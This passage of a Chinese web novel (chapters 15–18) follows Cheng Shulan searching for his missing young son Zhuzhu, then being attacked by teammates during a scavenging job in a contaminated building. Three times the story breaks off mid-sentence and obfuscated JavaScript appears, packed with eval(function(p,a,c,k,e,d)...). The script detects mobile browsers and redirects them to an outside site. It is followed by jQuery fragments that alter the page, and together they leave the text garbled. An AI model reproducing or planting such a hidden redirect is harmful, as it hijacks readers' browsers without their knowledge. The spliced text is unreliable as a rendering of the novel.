程书阑不敢再想下去,他连三步并作两步地爬上楼梯,跑出房间,扑到旅馆入口的柜台上。 还在昏昏欲睡的老板被他吓了一跳,睁眼瞧见他急切的模样,下意识站起来往后躲。 程书阑没给老板机会,伸长手一把拽住对方衣服。 “我家孩子不见了,你看见他了吗?”程书阑急道。 “孩子?”老板不明所以,结结巴巴地问,“什么孩子?” “就是昨天和我一起的那个小孩。”程书阑说,“我今天出门了,他一个人在旅馆里,我刚才回来,没看到他。” 老板后知后觉地反应过来:“他是不是出去了?” “他才四五岁大,都不认识这里的路,他一个人能去哪儿?”程书阑已经急得不行,又不得不耐着性子和老板说话,他松开老板的衣服,语速飞快,“你一直坐在这里吗?” 老板跌坐回椅子上:“对。” “你没看见他?” “我没注意。”老板说,“今天来办入住的人不少,我在忙正事,再说我这里本来就是旅馆,大家进进出出不是很正常吗?我没有刻意留意那些。” 程书阑问:“你这里有监控吗?” 老板讪笑一声,摇头说:“你看我这地方哪儿像是装得起监控的样子?别说我这里了,你去外面看,也没几家旅馆有钱装监控那么金贵的东西,到时候没监控到什么不说,机器还被偷了……” 程书阑实在听不下去,打断老板絮絮叨叨的话:“你和我出去分头找。” 老板有些不乐意:“我还要看着这里……” 程书阑一巴掌拍在柜台上,他没有使出全部力气,却不知怎的,手掌下面的木质柜面发出了细微声响。 低头看去。 他指缝间竟然生出了一片裂纹。 老板面露惊骇之色,低头看着柜面,又抬头看向程书阑,脸色唰地变得惨白,张着嘴说不出话。 程书阑也不知道这是怎么回事,但他想不了太多,只对老板说:“跟我出去找人。” 老板小鸡啄米似的点头:“好好好……” 15.带娃干活 外面暮色渐临,天边浮起一层薄薄的青灰,旅馆外面就是巷子,往左是程书阑之前出去的路,往右就不清楚了。 他让老板往右找,自个儿则急匆匆地往左跑。 巷子里也有一些商铺,不过都是超市,程书阑进去找了一圈,没有任何收获。 除超市外,剩下的就是旅馆了。 程书阑不好冒然冲进其他旅馆里找人,只能一直沿着巷子往外跑,然而直到跑出巷子,他依然没能找到诸珠。 暮色肉眼可见地笼罩下来。 外面的街道和里面弯弯绕绕且肮脏狭窄的小巷截然不同,此刻道路两旁已经亮起灯光,将整条街照得通明。 路上车影如梭,程书阑站在路边,由于刚才跑得太急,他一直喘着粗气。 他大脑仍是一片空白。 好像在做梦一样。 明明早上离开时还在和诸珠说话,结果晚上回来,人就没了。 他甚至莫名其妙地产生了一种诸珠是不是从未出现过的荒谬感。 不知道在原地站了多久,程书阑勉强从那股澎湃到快要将他吞没的情绪中抽离,他深吸口气,转身往回走。 巷子里的路灯隔得很远,而且光线暗到无法照明,他不得不拿出通讯器,将不算明亮的光照在脚下。 还没走到旅馆门口,他远远听见一道熟悉的喊声。 “爸爸!” 程书阑猛地怔住,脚步随之停下。 他以为自己幻听了。 下一秒,声音再次响起,伴随着哒哒的奔跑声。 程书阑还没反应过来,就有一个小孩一头扎进他怀里。 他蹲下身,抬手将通讯器的光照到小孩脸上。 诸珠那张不知道在哪儿弄得脏兮兮的脸暴露在光线下。 “爸爸……”诸珠一副畏畏缩缩的模样,想哭又不敢哭,只能用力憋住在眼眶里打转的泪水。 程书阑不敢大意,连忙把诸珠从头到脚地检查了好几遍,哪怕确认诸珠没事,也不放心地问:“有没有哪里伤着?” 诸珠摇头,扯着程书阑的衣服,虽然嘴上没说,但是想让程书阑抱的意思十分明显。 不过程书阑没如他的意。 “真的没事?”程书阑追问,“没有哪里磕着碰着吗?” “没有的,爸爸。”诸珠还是摇头,一边说一边抬手试图往程书阑的脖子上搂。 程书阑瞧着诸珠这样,绷了许久的神经蓦然放松,他四肢有些发软,拿掉诸珠往自己脖子上搂的手,起身时甚至有种头重脚轻的感觉。 他将通讯器的光举在诸珠头顶,没有表情地望着已经意识到不对的诸珠。 “你去哪里了?我不是让你在房间里等我吗?” 程书阑听得出来自己语气生硬,要是之前,他忍忍就算了,可此时怒气上涌,化作一双无形的手,直接推翻了他理智的墙。 他深吸了几口气都无法让自己冷静下来。 他根本冷静不了! 一想到刚才他以为自己再也见不到诸珠了,想到自己即将在这个陌生的世界里形单影只,想到诸珠可能在自己不知道的地方遭遇自己不知道的事…… 那铺天盖地的恐惧像是一个正在不断压缩的正方体空间,他被困在其中,每次呼吸都比上次更加艰难。 诸珠被他阴沉的表情吓到,缩着肩膀,大气不敢喘一下。 “爸爸……”诸珠小心翼翼地开口,“我……” 程书阑努力耐着性子等他解释。 可他结结巴巴,“我”了半天也没说出下文,还伸手想扯程书阑的衣服。 程书阑猛地后退一步,直接拉开自己和诸珠之间的距离。 “上次都能听懂我的话,怎么这次就听不懂了?”程书阑厉声开口,“你不知道外面很危险吗?你不知道外面有很多坏人吗?要是你再被拐走了,你让我去哪里找你?” 他没能收住声音,吓得诸珠双肩一抖,大颗大颗的眼泪从眼眶里滚出来。 旅馆老板从后面跑过来,瞧见这一幕,欲言又止。 程书阑看了一眼老板。 老板立即闭上嘴巴,把想说的话全部咽回去,安静地当起了一块背景板。 诸珠的情绪来势汹汹,一哭就停不下来,他双手握拳揉着眼睛,本就脏兮兮的脸被泪水打湿,跟花猫似的。 “别揉眼睛。”程书阑说。 诸珠赶紧把手放下。 “爸爸……”诸珠打着哭嗝说,“我没有……我就是害怕……我害怕呜呜呜……” 说着又想往程书阑身上贴。 程书阑又后退一步。 诸珠见状,顿时钉在原地,仰起一张布满泪痕的脸,又惧又怕地望着程书阑。 “我都跟你说过了,我不是出去玩,我是出去工作的,我得工作才能挣到我们回去的路费,你不是想回去吗?” 诸珠点头如捣蒜:“我想回家……” “那你还乱跑!”程书阑说。 诸珠一个激灵,头也不敢点了。 “你这样让我怎么安心出去工作?以后我就不出去了,天天看着你,等我们没钱了,像之前一样住那些破房子,你觉得怎么样?” 诸珠不敢说话,双手交叠地捂着嘴巴,也尽量不让自己的哭声溢出来,只有眼泪还在哗哗地流。 老板看得于心不忍,劝了一句:“算了,小孩的胆子都小,又住在这种地方,你们那个房间连窗户都没有,他害怕也正常,人没事就好。” 程书阑沉默片刻,吐出口气。 “回去了。”他抬脚朝旅馆方向走。 诸珠连忙跟上。 程书阑走了几步,往后伸手。 诸珠马上小跑上来,生怕赶不及地抓住他的手。 他顿了一下,心里居然也有些难受,索性停下来,弯腰抱起诸珠,跟着老板回到旅馆,他对老板说:“今天麻烦你了。” 老板忙不迭地摆手:“没有没有,举手之劳罢了。” 程书阑看向柜面,那片被他拍出的裂纹还在,如蛛网般爬过半个桌面。 “这个……” 他的话刚说出,就被老板着急打断。 “没事没事,要怪也怪我这个桌子用的时间太长了,老化严重,我平时稍微用点力,它也这样,回头我换一张桌子。”老板一边苍蝇搓手一边讪笑。 说着,老板四下望了一圈,然后神秘地凑向程书阑。 “你们有精神力的和我们这些普通beta就是不一样。”老板讨好地说,“听说精神力很难控制,偶尔失控能理解,你放心,我不会和任何人说。” 说完,老板一脸严肃地做了一个给嘴巴上拉链的动作。 程书阑:“……” 回到房间,程书阑把诸珠放到地上,摸了一下装有烤串的袋子,都放凉了。 他让诸珠把烤串吃了,自己先去卫生间洗了个澡,等他出来,就见诸珠和昨天一样在卫生间门口守着。 桌上的烤串连袋子都没拆开。 “爸爸……”诸珠可怜巴巴地喊。 程书阑洗掉了一身的汗渍和灰尘,不光身上变得清爽,情绪也平复了不少。 他就是太累了。 本来这几天一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793689|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧绷着,今天做了这么多事,情绪像个炸弹,一点就着。 说起来,他才来这个世界几天,却仿佛过了几年一样,他都快忘了以前的生活是什么样子,也快忘了自己和这具身体的年龄都只有十八岁。 他明明只是一个高中生来着。 唉。 程书阑收住思绪,又给诸珠洗了个澡,等他忙完,桌上的烤串彻底凉了。 诸珠也不嫌弃,拿着烤串,很快忘了不久前那些不愉快,吃得狼吞虎咽。 程书阑吃完几袋饼干,实在没什么胃口,便坐在床边看诸珠吃烤串。 之前有老板在,他不好细问,此刻才问:“诸珠,你今天什么时候出去的?” 诸珠一听这话就紧张,认真想了好一会儿,小声回答:“我不知道。” “为什么出去?”程书阑问,“就因为不敢一个人呆在这里?” 诸珠摇了摇头,努力解释:“爸爸,你不在的时候有人敲门,敲得好大声,我没有说话,可他们知道我在,就一直敲。” 程书阑听得一愣,坐直身体:“然后呢?” “然后我趁着他们没敲门的时候,我偷偷跑出去了,我想去找你,可我一出去就找不到路了……”诸珠扁了扁嘴,似乎觉得委屈,眼眶又开始隐隐发红。 程书阑抱过诸珠,揉了揉他的脑袋。 诸珠仰头说:“对不起,爸爸,我不该出去的……” “是我的问题,我考虑少了。”程书阑叹气。 晚上,诸珠挤在程书阑怀里,整个人都睡到程书阑身上了,很没安全感。 程书阑被诸珠压得有些喘不过气,好不容易等诸珠睡着,才把人从自己身上抱下去。 他侧身搂着诸珠,垂眼看向诸珠的脸。 诸珠的睡眠质量一向很好,不管在什么地方,两眼一闭,就能呼呼大睡,今晚却像有心事一样,眉头轻轻皱着,嘴巴也抿起来。 他用食指在诸珠眉心上轻按一下。 诸珠皱着的眉头慢慢松开。 他的目光落到诸珠的左边脸颊上,诸珠跑出去时摔了一跤,摔得脸上脏兮兮的,此时洗干净了,那颗小黑痣即便在昏暗的光线下也能看得很清楚。 程书阑莫名想起了白天在光明苑里遇到的那个人。 那个人的左边脸颊上也有一颗小黑痣,和诸珠的位置一模一样。 那个人应该不是beta吧? 会出现在那种地方,很大可能是一个alpha。 难怪他会突然感受到那个人的存在,可能是那个人在用精神力试探他。 程书阑摊开五指,看着自己掌心。 精神力到底是什么? 原先他以为原主的精神力等级不高,所以精神力趋近于无,现在看来,原主并非没有精神力。 可他完全感受不到。 一觉睡到第二天中午,一大一小起来吃完东西,又磨蹭一会儿,程书阑带着诸珠去了任务中心。 一路上诸珠连蹦带跳,喜悦之情溢于言表。 老吴他们已经在大厅里等着了,瞧见程书阑带了诸珠,都没说什么,老吴还乐呵呵地给了诸珠一个棒棒糖,说是准备带回家给孩子的。 选任务的过程很顺利,老吴他们商量过后选了一个稍远的地方,但也没有太远,就在光明苑附近,过去的话还要经过光明苑。 程书阑在通讯器上搜了搜新小区的位置,可惜他的通讯器没有信号,多的也搜不出来了。 一宿过后。 第二天早上,几人在老地方见面,老吴他们再看到程书阑带着诸珠时,脸上绷不住了。 16.干活干活 老吴还未开口,燕子便蹙起眉头,语气不满道:“你怎么把小孩带来了?” 程书阑自知理亏,解释道:“他太小了,一个人呆着害怕,我就把他带上了。” “可我们去的那种地方是能带小孩的吗?就算你不为我们考虑,也要为你儿子考虑吧?” 燕子的情绪有些激动,老吴见状,连忙上前。 “你冷静一下,我跟他说。”老吴对燕子说完,眼神复杂地转向程书阑。 程书阑嘴唇轻抿,沉默地牵着诸珠的手。 诸珠则被燕子刚才的激烈反应吓到,瑟瑟发抖地躲在程书阑身后。 他们昨天只领到四套成人防护服,此刻全穿在身上,诸珠依然和昨天一样,裹着一套没有任何特殊之处的冬衣,唯一的防护措施是脑袋上的毛线帽和脸上的面罩。 可惜在污染源面前,这种防护起不到任何作用。 何况还是一个小孩。 老吴看了一眼只从程书阑身后露出一双眼睛的诸珠,已经无法用语言来形容自己的心情。 很多人瞧不上早婚早育的beta不是没有道理,在这样艰难的环境中,带着孩子饱一顿饥一顿就算了,连一点生存的常识都没有,自己都知道穿防护服,却让孩子穿着普通衣服,简直和让孩子送死没两样。 这是把自己孩子当成有精神力的alpha或者omega了吗? 只是一个普普通通的beta孩子而已。 老吴无奈地想,要是时间还早,他肯定会让程书阑把孩子送回去,可眼下都快九点了,他们今天的任务量可不少。 过了有一会儿,老吴才说:“小陈,不是我说你,你在这件事上确实做得欠妥,我们上次一起出任务前,我明确和你说过,我们出任务时最好别带孩子。” 程书阑低声道:“抱歉。” “但你带都带了……”老吴叹气,“虽然我们现在是一个团队,但是我不能光考虑你的处境而不考虑其他人的感受,所以我必须把丑话说在前头,要是没出什么事还好,要是出了什么事,我们没有多余的精力在保下你的情况下再保护一个孩子。” 这话的意思很明显了。 程书阑本来也没想过麻烦老吴他们保护诸珠。 他点头道:“我自己负责我们的安全。” 老吴强调道:“出了事可不怪我们。” 程书阑嗯了一声。 老吴神色稍霁,偏头望向燕子。 燕子冷淡地哼了一声,没说什么。 去新小区的路比去光明苑的路长了一截,老吴他们没再选择步行,而是和等在任务中心大楼外的其他人一起挤上了任务中心特供的公交车。 公交车上的人很多,诸珠个子小,即便被程书阑护着,也被挤得东倒西歪。 程书阑看诸珠快像上次在任务中心的大厅里那样淹没在人群里了,不得不赶紧抓好头顶的吊环,然后单手抱起诸珠。 他抱得非常吃力。 抱到后面,几乎成了诸珠双手搂着他的脖子、双脚圈在他的腰上,整个人跟树袋熊似的挂在他身上。 好不容易熬到下车,程书阑赶紧把诸珠放到地上,甩了甩又酸又麻的手。 他脱下背包塞给诸珠:“背上。” 背包里装了不少东西,对程书阑来说都有些沉。 诸珠手忙脚乱地抱住背包,一时间重心没稳,踉跄着往后退了好几步。 燕子和东子往这边瞟。 老吴忍不住笑道:“背包那么重,你让一个小孩背?” 程书阑说:“他力气大。” “力气再大也是一个小孩。”老吴摇了摇头。 其实程书阑就是随口说的,诸珠平时抱着他的力气是大,可不见得干活的时候同样力气大。 毕竟他也没让诸珠干过什么活。 揉了一通肩膀,感受好受了些,他朝诸珠伸手:“背包给我。” 诸珠蹲在地上,背包也放在地上,他抓着背包的带子,转身将手臂从带子中穿过。 他动作很快,不一会儿就将背包背在身后。 再一起身—— 背包扯着他的双肩,重量和他小小的身体形成一股抗力,他双手往前握成拳头,用力得一双眼睛都紧闭起来。 看出来整张脸都在使劲。 程书阑看得好笑,正要拎过背包,就见诸珠吃力地站直了身体。 站起来就好说了。 诸珠双手往后兜着背包,看向程书阑,又惊又喜地邀功:“爸爸看!” “看到了,看到了。”程书阑说,“背包给我。” 诸珠躲开程书阑的手:“这个包包好重,我来背,不要爸爸背,爸爸休息。” 程书阑忍俊不禁:“你背得动吗?” “背得动的!”诸珠自信地说。 燕子和东子已经走到前面,只有老吴仍旧和他们并排而行,瞧诸珠一脸自豪却又走路费劲的模样,老吴抬手想摸诸珠的头。 谁知诸珠在这个时候的反应就很快了,嗖的一下窜到程书阑另一边。 程书阑伸手。 诸珠立即抓住他的手,似乎心情很好,扯着他的手指前后晃了晃。 程书阑垂眼看去:“重吗?” “不重!”诸珠大声回答。 老吴在旁看着,也没觉得尴尬,呵呵笑了一声:“你儿子很认人。” 程书阑没有否认:“是挺认人。” 走了约莫半个小时,几人来到新小区外,新小区从外面看和光明苑大差不差,但进去后能感受到巨大差别。 新小区比光明苑大很多,绿化更广,绿植茂密,哪怕走在主路上,也有一种穿梭在丛林里的感觉。 程书阑看诸珠走得越来越艰难,便直接拿过背包甩到自己身后,他问诸珠:“要抱吗?” 诸珠满眼喜悦,忙不迭张开双臂:“爸爸抱。” 程书阑弯腰将人抱起。 不知道是昨晚休息够了还是什么原因,他现在的体能似乎比之前好了不止一点,要是以前,他在公交车上抱诸珠那里就阵亡了,更别说这会儿抱着诸珠走上一段路。 走到小区深处,领路的燕子明显慢了脚步,像是有些找不着路,中途停下来好几次。 东子跟在燕子身后,一直在警惕地东张西望。 紧绷的气氛蔓延到了程书阑和诸珠这里,一大一小都没说话。 老吴看程书阑表情紧绷,便安慰道:“我们经常来这一片出任务,不过第一次来这个小区,谨慎些是好的,但你也不用太紧张,最多也就碰上一些低级污染源。” 程书阑点了点头。 老吴的目光落到趴在程书阑怀里的诸珠身上,又说:“要不是这一片比较安全,我也不会让你带孩子过来,正常情况下都得穿防护服。” 程书阑当然知道这一点。 他也知道alpha和omega对污染源具有天然抗性,只有beta没有精神力,才容易被污染。 污染源自然对诸珠没有太大影响,只是这样一来,可能会暴露诸珠的omega身份。 可话说回来——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803490|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他实在不放心再让诸珠单独留在旅馆里。 还好不会和老吴他们接触太久,等几次任务出完,把路费挣到了,他就带诸珠离开这里。 又走了半个多小时,几人来到一栋楼下,这次还是老样子,燕子先分配好各自的任务区域,然后一起从三楼清理上去。 楼里没电,光线全被隔绝在外,可能是布局和朝向不同,里面比上次在光明苑的楼里更加黢黑,几乎到了伸手不见五指的地步。 走廊也更狭长幽深,手电筒光扫过去,只能看到两旁敞开的门。 再往前看,只觉光束被淹没在了大片浓稠的黑暗里。 每走一步都能听见回响。 这里太寂静了。 要是程书阑和上次一样一个人在这里,难免会感到心慌,此时多了一个诸珠,竟奇妙地心安了些。 背包里还有一个备用手电筒,正好他和诸珠一人一个手电筒。 他顺便拿了喷壶出来。 “你就像我这样,在这里按一下,然后对着这些地方喷。”程书阑一边示范一边说,“喷的时候要小心点,不要把喷壶里的水沾手上了。” 诸珠小鸡啄米似的点头:“我知道了,爸爸。” “听明白了吗?”程书阑问。 “明白了!” 程书阑把喷壶递给诸珠,他没让诸珠离自己太远,他在哪儿,就叫诸珠跟到哪儿。 几人从三楼清理到六楼,一个上午过去,都又累又饿。 老吴找了一个清理过的房间,检查完一圈后,招呼程书阑几人进去坐下。 他们脸上的透明面罩可以摘掉,方便喝水和吃东西,出任务时大家都尽量轻装简行,所以老吴他们也没带多少东西,食物只是几袋面包和饼干。 程书阑拿了饼干和水给诸珠,他把背包放到地上,让诸珠坐在上面吃东西,自个儿则晃悠到门外。 他们今天得清理到十五楼,可按照这个进度下去,怕是一天清理不完。 好在这次任务的报酬颇多,平均下来能分到一千多信用币,加上手里的五百多信用币,总共有两千多信用币。 再出两三次任务就行了。 程书阑正盘算着,衣服突然被谁拽了一下。 他低头看去,就见诸珠不知何时来的,正仰着一张小脸:“爸爸。” 那么大一袋饼干,也不知道诸珠是怎么吃下去的,嘴巴边上都沾着碎渣,想来吃得很急。 “吃完了?”程书阑问。 诸珠用力点头:“吃完了,爸爸。” “还饿吗?” “不饿了。” 程书阑牵起诸珠的手,回到房间里,拿起背包,拍了拍上面的灰尘。 “你们慢慢吃,我们先去楼上清理。” 燕子闻言,问了一句:“你找得到方向吗?” “找得到。”程书阑说,“每层的布局都是一样的,不难找。” 燕子没再说什么。 老吴和东子也都没有反对。 程书阑牵着诸珠上楼,换了两瓶喷壶后,一大一小接着清理。 清理到第四套房时,外面的走廊上隐约传来一些像是鞋底在地面上摩擦的奇怪声响。 那声音很轻,但架不住楼里太安静了,任何一点动静都会被放大。 程书阑动作一顿,仔细听了一会儿。 还真有声音。 而且不知道是不是他的错觉,那声音似乎朝他们这边过来了。 是老吴吗? 还是燕子和东子? 17.有感染者 程书阑本想出去看看,但心念一转,他将手电筒光调暗,转头朝诸珠做了一个嘘声的手势。 诸珠一只脚都迈了出去,见状连忙缩回。 程书阑压低声音:“别动。” 诸珠僵硬地点了点头,有样学样地也把自己的手电筒光调暗了些。 程书阑等了几秒,感觉那声音几乎到了他们所在房子的门外,又犹豫片刻后,他轻手轻脚地朝大门走。 诸珠立即跟上他的脚步。 程书阑想让诸珠在原地等待,可扭头看到诸珠露出来的半张脸,眉头都害怕地拧到了一起。 他顿了一下,说道:“把手电筒关了。” 诸珠用力点头,赶紧关了手电筒。 一大一小来到门口,防盗门没关,只虚掩着,轻轻往外一推,门缝便无声地扩大。 程书阑从门缝往外看。 外面一片黢黑,什么都看不见。 他只好将手电筒凑到门缝间,尽量用手电筒的余光往外扫。 “爸爸。”诸珠扯了扯程书阑的衣服。 他抬手指着门缝外面。 “是叔叔。” 程书阑顺着诸珠手指的方向看去,借着余光,还真看到一道摇摇晃晃的身影,似乎刚从门外经过,正朝楼梯方向走。 他还以为诸珠说的“叔叔”是老吴或者东子,想要开门出去,又猛地意识到什么。 不对。 老吴属于矮胖身形,东子属于高瘦身形,他俩的身影和走廊里的那道身影一点都不像。 外面那个人不是老吴或者东子。 想到这里,程书阑背脊一凉,浑身的鸡皮疙瘩都冒了出来。 难道又是上次在光明苑里遇到的那个人? 不…… 也不是那个人。 程书阑还要细看,却见那个人仿佛察觉到什么,竟然停了下来,慢慢的要转过来。 他顿觉心惊肉跳,以最快的速度关了手电筒,然后合上防盗门。 他拉着诸珠摸黑退到里面的房间,墙壁很脏,他抹了一手的灰。 可此刻也顾不上太多。 诸珠被他扯得踉跄,期间甚至不知道撞到哪里,撞出一声闷响,诸珠嘴里也发出一道闷哼,但哼完就没了,显然在忍着。 程书阑拉紧诸珠的手。 诸珠紧张极了,手都在抖,小声喊道:“爸爸……” 话音未落,安静的空气陡然被一连串惊恐的尖叫声打破,虽然隔着一定距离,但听得十分清楚。 程书阑和诸珠都冷不丁地吓了一跳。 诸珠再也忍不住,呜咽出一声哭腔,惊慌失措地往程书阑腿上扑。 程书阑搂过小孩的肩膀,安抚地拍了拍。 他看着冷静,实际上藏在面罩下的额头也渗出一层冷汗。 他听出来了。 那是燕子的声音。 还没来得及细想,外面突然传来一些动静,像是有人过来了,声音刚到门口,就听见门锁合上的轻微声响。 下一秒,一道手电筒光从外面扫进来。 “小陈?” 程书阑愣了一下,立即打开已经关上的手电筒,将光扫向房门外。 手电筒光顿时落到老吴脸上。 老吴满脸惊骇,眼里溢满难以名状的恐惧,不知道是不是光线原因,他的脸色白得吓人。 后面跟着东子。 东子的状也好不到哪里去,嘴唇都在微微颤抖。 “怎么了?”程书阑上前,尽管心里已经隐隐猜到答案,但还是问了一句,“外面发生什么事了?” 老吴迫不及待地走进房间,等东子把门关上,用手电筒光扫了一下躲在程书阑身后的诸珠,才问:“你刚才有听见什么声音吗?” “燕子的声音。”程书阑回。 老吴似乎回想起了燕子的惨叫,脸部肌肉不受控地抽动了几下,好不容易压下情绪,他说:“这栋楼里有感染者。” “靠!”东子崩溃开口,“你不是说这栋楼里没有感染者吗?你不是说感染者都在下面吗?那刚才我们看到的是什么?燕子的叫声又是怎么回事!” 东子越说越激动,一把揪住老吴的衣领。 老吴猝不及防,被拽得趔趄了下,他比东子壮实,但个子矮了大半,只能解释:“我也不知道啊,每次收到消息都给你们看了,上面确实没说感染者也在楼里,要是我知道的话,还能不告诉你们吗?” 东子勒得太紧。 老吴毫无还手之力,一边挣扎一边压着声音咳嗽。 “那燕子怎么办?”东子眼球凸出,脖颈青筋暴起,“你害死了燕子!” “不……不关我的事啊……” “我也要被你害死了,感染者都在外面堵着,你说怎么出去?” 老吴已经说不出一句完整的话了。 诸珠被东子狰狞的样子吓到,更用力地抱住程书阑的腿,恨不得将身体挤进他的两腿之间。 程书阑没有办法,只好转身把诸珠抱起来。 “爸爸……”诸珠将脸颊贴上他的脖子,“我害怕……” 程书阑抚了抚诸珠的背。 “我想回家了……”诸珠用颤音说。 “我们马上就回去了。”程书阑说着,看了看前面两人,没有吭声,继续充当一块背景板。 好在东子很快冷静下来,松开老吴。 “我们怎么出去?”东子说,“要是那些感染者都在楼梯间堵着,我们也只会被耗死在这里,任务中心那些人根本不会管我们的死活。” 老吴瘫坐在铺满灰尘的地板上,捂着脖子,喘了半天气。 “先联系燕子。”老吴艰难地说,“万一她没死呢。” 东子冷笑:“没死?你当燕子是那些尊贵的alpha还是omega?我们这些没有精神力的beta,落单遇到感染者,只有死路一条。” 话是这么说,他还是用通讯器拨了燕子的号。 时间在寂静中流逝。 一分钟后,东子说:“估计没了。” 老吴沉默片刻,拿出通讯器,将地图放大到他们所在这栋楼的位置。 “你看到感染者了吗?”老吴问程书阑。 “看到了一个。”程书阑说,“是一个中年男人。” “往哪边去了?” “楼梯那边。” 老吴苦笑了下,抹了把脸说:“我们这一层起码有三个感染者,我和东子上来的时候,燕子还在楼下休息,刚才我们听见声音也是从楼下传上来的,还不知道楼下有多少感染者。” “呵。”东子说,“一个感染者就让我们够呛,还这么多个,今天真是倒血霉,早知道不接这单任务了。” 老吴似乎忍无可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863906|172787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忍,抬头说了一句:“你能不能少说几句?抱怨能让我们出去吗?” 东子两眼一瞪:“那你倒是想办法啊!” 老吴缩了缩脖子,顿时不说话了,专心查看地图。 程书阑放下诸珠,让诸珠抱着自己的一条腿,也拿着通讯器看地图。 可惜他的地图没更新过,一旦到了这种荒凉区域,很多细节都不会显示出来,只有一个大致的地形轮廓。 他看了许久也没看出个所以然来。 收起通讯器,正好对上东子的视线。 东子已经脱下背包扔到脚边,这会儿双手环胸地靠在墙壁上,他仍旧没什么表情,可视线直勾勾的,隔着一层透明的面罩落到程书阑身上。 程书阑被看得很不舒服。 还没说些什么,东子慢慢站直身体。 “你——”东子朝程书阑抬了抬下巴,“出去看看。” 程书阑有些惊讶,但没意外东子会这么说,从进来的那一刻起,东子的情绪根本藏不住,恐惧、焦虑以及深深的害怕都明明白白地写在眼里。 他看向老吴。 老吴一副专注看地图的模样,仿佛没听见东子在说什么。 “听见没有?”东子看程书阑没有动作,眉眼间蓦地腾起一股怒火。 他猛然上前,要揪程书阑的衣服。 程书阑反应及时,侧身避开了。 “我去。”他说。 东子这才收手。 老吴手脚并用地从地上爬起来,对程书阑说:“你别急着下楼,在楼梯间看一下就行,我想知道外面大概有多少感染者。” 程书阑的手电筒光照在老吴身上,余光中,也能看清楚老吴的脸。 他看了一眼那张脸,发现老吴没表情的时候其实也很冷淡,这会儿情况危急,估计懒得装了。 他让诸珠拿好手电筒,牵着诸珠要往外走。 东子站在门口,没等他们出去,突然说道:“小孩留下。” 程书阑一愣,条件反射地说:“不行,他和我一起。” 东子话不多说,直接伸手抓住诸珠的一条胳膊。 程书阑将诸珠往自己身边拽了一下,随即要扯东子的手。 就在这时,老吴从旁边扑过来,借着自身的重量抱住程书阑撞到墙壁上。 这次程书阑反应不及,脑袋在墙壁上撞出砰的一声闷响。 一时间,剧痛袭来。 程书阑眼前一黑,只觉天旋地转,好像下一秒就要倒下。 “爸爸!”诸珠发出惊惶的叫声,想从东子的束缚中挣脱,却被东子死死按住。 诸珠害怕极了,眼泪夺眶而出,一边疯狂挣扎一边叫喊:“坏叔叔,你放开我爸爸!” 诸珠扯着嗓门,尖利的声音划破空气,高亢刺耳。 老吴压在程书阑身上,大惊失色地扭头:“东子,你在干什么?这样会引来感染者!” 东子爆了一句粗口,手忙脚乱地捂诸珠的嘴巴。 没想到诸珠看着个头不大,可此刻的力气不小,在他手里像一条拼命跳动的鱼,滑不留手,按都按不住。 “放开我爸爸!”诸珠还在大喊,“不准打我爸爸,我生气了,我要打死你们!” 晃动的手电筒光下,老吴脸色煞白:“让他闭嘴啊!” 程书阑趁机翻身,一脚踹到老吴腹部。 18.尖叫! 老吴发出一声闷哼,整张脸因剧痛而扭曲变形,踉跄两步后重重跌坐在地。 “老吴!”东子怒喝一声,粗暴地将诸珠推向一旁,三步并作两步冲向程书阑。 程书阑眼疾脚快,一脚踢开老吴掉落的手电筒,转身瞬间,东子已经近在咫尺,他仓促弯腰,堪堪避过对方呼啸而来的拳头。 没想到东子的反应速度远比预想中更快。 拳风刚掠过他的耳际,便抬起膝盖,直奔他的腹部而来。 可程书阑根本没办法躲避——老吴不知何时挣扎起身,死死抱住了他的右腿。 惊慌之余,程书阑用手臂格挡,同时反手抱住东子的左腿,肩头发力猛撞对方胸膛。 “靠!姓陈的你找死吗?”东子吃痛怒吼,手肘如雨点般砸向程书阑后背,“在这种鬼地方闹事,你想让我们都死在这里吗?” 背上的疼痛让程书阑倒抽一口凉气,差点没稳住趴到地上,他咬牙狠踩老吴撑在地上的手掌。 老吴连声惨叫。 程书阑趁热打铁,对着老吴肋部连踹数脚。 东子怒不可遏,一把揪住他的衣领,扯下面罩,高举的手电筒眼看就要砸向他的面门。 程书阑别无选择,踹开老吴,直接扑过去。 两人滚作一团。 程书阑原以为自己这具身体还没完全恢复,要对付比他高了半个脑袋的东子几乎没有胜算,出乎意料的是,一阵扭打下来,东子竟也没占到多少便宜。 老吴见状,手脚并用地从地上爬起来,捡起手电筒,正要上前帮忙,却被冲来的诸珠撞得一个趔趄。 晃动的光束中,诸珠的面容模糊不清,但哭喊声撕心裂肺。 “坏叔叔!我打死你!” 诸珠卖力挥动拳头,往老吴身上砸。 